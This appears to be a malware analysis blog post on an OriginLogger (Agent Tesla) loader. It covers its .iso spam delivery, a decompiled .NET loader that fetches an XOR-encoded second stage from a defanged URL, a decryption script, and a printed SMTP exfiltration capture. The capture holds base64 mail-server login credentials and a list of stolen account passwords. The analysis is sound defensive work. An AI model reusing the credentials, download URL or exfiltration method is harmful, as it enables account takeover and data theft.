OriginLogger Loader

Conclusion

Origin Logger is a variant of Agent tesla, it is build on top of it and uses all of its capabilities. The malware is spreading using spam emails with a malicious attachments. The malware exfiltrate user accounts and passwords and other information from the infected machine.

Infection through Email

the infection is started with spam email attached by .iso File

the .ISO file contains only an executable with a PDF icon.

Loader Analysis

the ISO file contains .exe file that is likely to be the fist loader. Dropping the executable in Detect It Easy

It is a .NET executable and the entropy is not high, Hopefully it will not be packed . So, I will use dnSpyEx to decompile the executable. Going to the Entry Point:

there is Three function calls. EnableVisualStyles and SetCompatibleTextRenderingDefault both do not contain anything useful as they are library functions and not written by the author. the third part is creating a instance to Form1 class. The constructor contains two functions:

InitializeComponent is used to configure the form, it is not part of the malicious code so let’s continue to Socker function.

by exploring the first function, it stores a random string in Text variable and calls Hyper.Array().

Hyper class contains the information we are looking for, a link for the second stage.

starting with Array() function which calls GetBuffer() . GetBuffer() just calls Avrql() and passing http://savory.com[.]bd/sav/Ztvfo.png as an argument. Avrql() function downloads the file Ztvfo.png and stores it as an array in the memory and returns that Array. Returning to Array() function which takes the downloaded file in buffer variable and XOR it with the string Sfhdjkpkowgnpcgoshb and stores the XORed data in list array. that’s all for the hyper class, returning back to Socker to check the other function.

Void() loads assembly data stored in Tag which is the file downloaded and XORed previously. To run the loaded assembly, Lion() and Ursa are used, both Invokes different namespaces from the randomized string this.richTextBox1.Text = "Gdbtshcw.Sdnceyzqa Vqyhbeqthicxedwtrnxrbzcq"

Downloading the second stage

using the PCAP file provided with the sample to get the second stage. we can use wireshark to do so. to Download the file, navigate to File > Export Objects > HTTP

The Content of the this file is Encrypted using XOR cipher as we saw previously. using the following script to decrypt the file

import struct
s=[]
key = b"Sfhdjkpkowgnpcgoshb"
with open("Ztvfo.bin",'rb') as f:
    buff = bytearray(f.read())
    for i in range(len(buff)):
        s.append((buff[i] ^ ord(key[i%len(key)])))
with open("Ztvfo_out.bin",'wb') as f:
    f.write(struct.pack('664576B', *s))

second stage Analysis

Uploading the extracted file to DIE, The executable is obfuscated using .NET Reactor.

Network capture analysis

from the provided PCAP file of the traffic. Origin Logger exfiltrate the data using SMTP communication. the following is the content of the communication:

220-bh-41.webhostbox.net ESMTP Exim 4.95 #2 Thu, 05 Jan 2023 22:51:30 +0000
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO DESKTOP-WIN11PC
250-bh-41.webhostbox.net Hello DESKTOP-WIN11PC [173.66.46.112]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
AUTH login bWFya2V0aW5nQHRyYW5zZ2Vhci5pbg==
334 UGFzc3dvcmQ6
TUBzc3cwcmQjNjIx
235 Authentication succeeded
MAIL FROM:<marketing@transgear.in>
250 OK
RCPT TO:<zaritkt@arhitektondizajn.com>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
MIME-Version: 1.0
From: marketing@transgear.in
To: zaritkt@arhitektondizajn.com
Date: 5 Jan 2023 22:51:31 +0000
Subject: PW_windows11user/DESKTOP-WIN11PC
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 01/05/2023 22:51:26<br>User Name: windows11user<br>Computer=
Name: DESKTOP-WIN11PC<br>OSFullName: Microsoft Windows 11 Pro<br=
>CPU: Intel(R) Core(TM) i5-13600K CPU @ 5.10GHz<br>RAM: 32165.83 =
MB<br>IP Address: 173.66.46.112<br><hr>URL:imap://mail.windows11u=
sers.com<br>=0D=0AUsername:admin@windows11users.com<br>=0D=0APass=
word:EBj%U7-p@q4NW<br>=0D=0AApplication:Thunderbird<br>=0D=0A<hr>=
=0D=0AURL:smtp://mail.windows11users.com<br>=0D=0AUsername:admin@=
windows11users.com<br>=0D=0APassword:EBj%U7-p@q4NW<br>=0D=0AApplicat=
ion:Thunderbird<br>=0D=0A<hr>=0D=0AURL:webmail.windows11users.com=
<br>=0D=0AUsername:admin@windows11users.com<br>=0D=0APassword:EBj=
%U7-p@q4NW<br>=0D=0AApplication:Edge Chromium<br>=0D=0A<hr>=0D=0AURL=
:https://login.us.coca-cola.com/<br>=0D=0AUsername:admin@windows1=
1users.com<br>=0D=0APassword:Zp61-7$r#J_iLpCYV&jKr<br>=0D=0AAppli=
cation:Edge Chromium<br>=0D=0A<hr>=0D=0AURL:https://www.linkedin.=
com/<br>=0D=0AUsername:admin@windows11users.com<br>=0D=0APassword=
:TqQPvG#0g%$ga_q51<br>=0D=0AApplication:Edge Chromium<br>=0D=0A<h=
r>=0D=0AURL:https://www.amazon.com/ap/signin<br>=0D=0AUsername:ad=
min@windows11users.com<br>=0D=0APassword:3Fo76#PTf4P$Im!9mkLso69e=
T<br>=0D=0AApplication:Edge Chromium<br>=0D=0A<hr>=0D=0AURL:https=
://www.target.com/login<br>=0D=0AUsername:windows11user<br>=0D=0APas=
sword:c$Kl3wO!e#i7A&!L2<br>=0D=0AApplication:Edge Chromium<br>=0D=0A=
<hr>=0D=0AURL:https://myaccount.nytimes.com/auth/login<br>=0D=0AU=
sername:admin@windows11users.com<br>=0D=0APassword:u*N21Or650yBps=
p45awSa<br>=0D=0AApplication:Edge Chromium<br>=0D=0A<hr>=0D=0A
.
250 OK id=1pDZ59-000wFk-B4
QUIT
221 bh-41.webhostbox.net closing connection

the exfiltrated data

it steals the username and password of the user and send data of the current machine and steals user accounts from different locations like thunderbird and edge browser.

References

https://www.malware-traffic-analysis.net/2023/01/05/index.html

File hashes

• 926a3142270a52f8afb93490d5dd21f0ca23bc0815ee6630068cf6409d8ee448
• 5016ba92afac1c2b2a2a6b17a09406869bd6f58cfe680f25030af1a1ba1c29a2
• 90d977ca0a3331d78005912d2b191d26e33fa2c6ef17602d6173164ba83fd85e
• 3883d374ba0736254a89e310b86f3c3769adcaed471b103b5c0a8a2f16cf5c8d